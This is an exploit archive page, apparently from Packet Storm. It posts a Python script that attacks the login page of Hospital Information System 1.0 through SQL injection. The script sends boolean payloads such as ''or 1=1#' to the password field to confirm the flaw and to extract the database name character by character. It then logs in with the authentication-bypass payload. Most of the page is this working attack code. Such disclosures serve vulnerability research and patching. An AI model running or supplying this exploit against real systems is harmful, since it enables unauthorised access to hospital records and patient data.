exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Hospital Information System 1.0 SQL Injection

Hospital Information System 1.0 SQL Injection
Posted Jul 26, 2022
Authored by saitamang

Hospital Information System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

tags | exploit, remote, sql injection
SHA-256 | fe66c661132cc964be237a78b59c37dd33812105a69f943e40034432ba9e37b1

Hospital Information System 1.0 SQL Injection

Change Mirror Download
# Exploit Title: Hospital Information System - SQL Injection via login page
# Date: 25/07/2022
# Exploit Author: saitamang
# Vendor Homepage: https://code-projects.org
# Software Link: https://download-media.code-projects.org/2019/11/HOSPITAL_INFORMATION_SYSTEM_IN_PHP_WITH_SOURCE_CODE.zip
# Version: 1.0
# Tested on: Centos 7 apache2 + MySQL


import requests, string, sys, warnings, time, concurrent.futures
from requests.packages.urllib3.exceptions import InsecureRequestWarning
warnings.simplefilter('ignore',InsecureRequestWarning)

dbname = ''

req = requests.Session()

def login(ip,username,password):
target = "http://%s/HIS/includes/users/UsersController.php" %ip

data = {'type':'login','username':username,'password':password}
response = req.post(target, data=data)

if 'success' in response.text:
print("[$] Success Login with credentials "+username+":"+password+"")
else:
print("[$] Failed Login with credentials "+username+":"+password+"")

def check_injection():
# library inj
test_query0 = "'or 1=2#"
test_query1 = "'or 1=1#"

target = "http://%s/HIS/includes/users/UsersController.php" %ip

result = ""

for i in range(2):

if i==0:
data = {'type':'login','username':username,'password':test_query0}
response = req.post(target, data=data)
if response.text=="success":
result = response.text
else:
pass
if i==1:
data = {'type':'login', 'username':username,'password':test_query1}
response = req.post(target, data=data)
if response.text=="success":
result = response.text
else:
pass
if result=="success":
print("[##] SQLI Boolean-Based Present at password field :)")
else:
print("[##] No SQLI :)")

def brute(dbname):
target = "http://%s/HIS/includes/users/UsersController.php" %ip

l=0

no = [int(a) for a in str(string.digits)]
# checking length of dbname
for i in no: # 0-9

payload = "'or 1=1 and length(database())='"+ str(i) +"'#"
#print(payload)

data = {'type':'login','username':username,'password':payload}
response = req.post(target, data=data)
result = response.text

if result=="success":
print("[##] The correct length of DB name is "+str(i))
l=i
break
else:
print("[##] The length of DB name "+str(i)+" is wrong")
pass

char = [char for char in string.ascii_lowercase]
dbname = []

for i in range(l):
for j in char:
payload = "'or 1=1 and substring(database()," + str(i+1) + ",1)='" + str(j) +"'#"

data = {'type':'login','username':username,'password':payload}
response = req.post(target, data=data)
result = response.text

if result=="success":
dbname.append(j)
print("[+] The " + str(i+1) + " char of DB name is "+str(j))
break
else:
pass

dbname = ''.join(dbname)

print("[+] Database name retrieved --> "+dbname)
print("[+] Bypass completed :)")
print("[+] Bypass payload can be used is \n'or 1=1#")

password = "'or 1=1#"
print("\nRetry to login with new payload in password field")
login(ip,username,password)

if __name__ == "__main__":
print(" _____ _ __ ")
print(" / ___/____ _(_) /_____ _____ ___ ____ _____ ____ _")
print(" \__ \/ __ `/ / __/ __ `/ __ `__ \/ __ `/ __ \/ __ `/")
print(" ___/ / /_/ / / /_/ /_/ / / / / / / /_/ / / / / /_/ / ")
print("/____/\__,_/_/\__/\__,_/_/ /_/ /_/\__,_/_/ /_/\__, / ")
print(" /____/ \n\n")

try:
ip = sys.argv[1].strip()
username = sys.argv[2].strip()
password = sys.argv[3].strip()

login(ip,username,password)
check_injection()
brute(dbname)

except IndexError:
print("[-] Usage %s <ip> <username> <password>" % sys.argv[0])
print("[-] Example: %s 192.168.100.x admin admin123" % sys.argv[0])
sys.exit(-1)
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close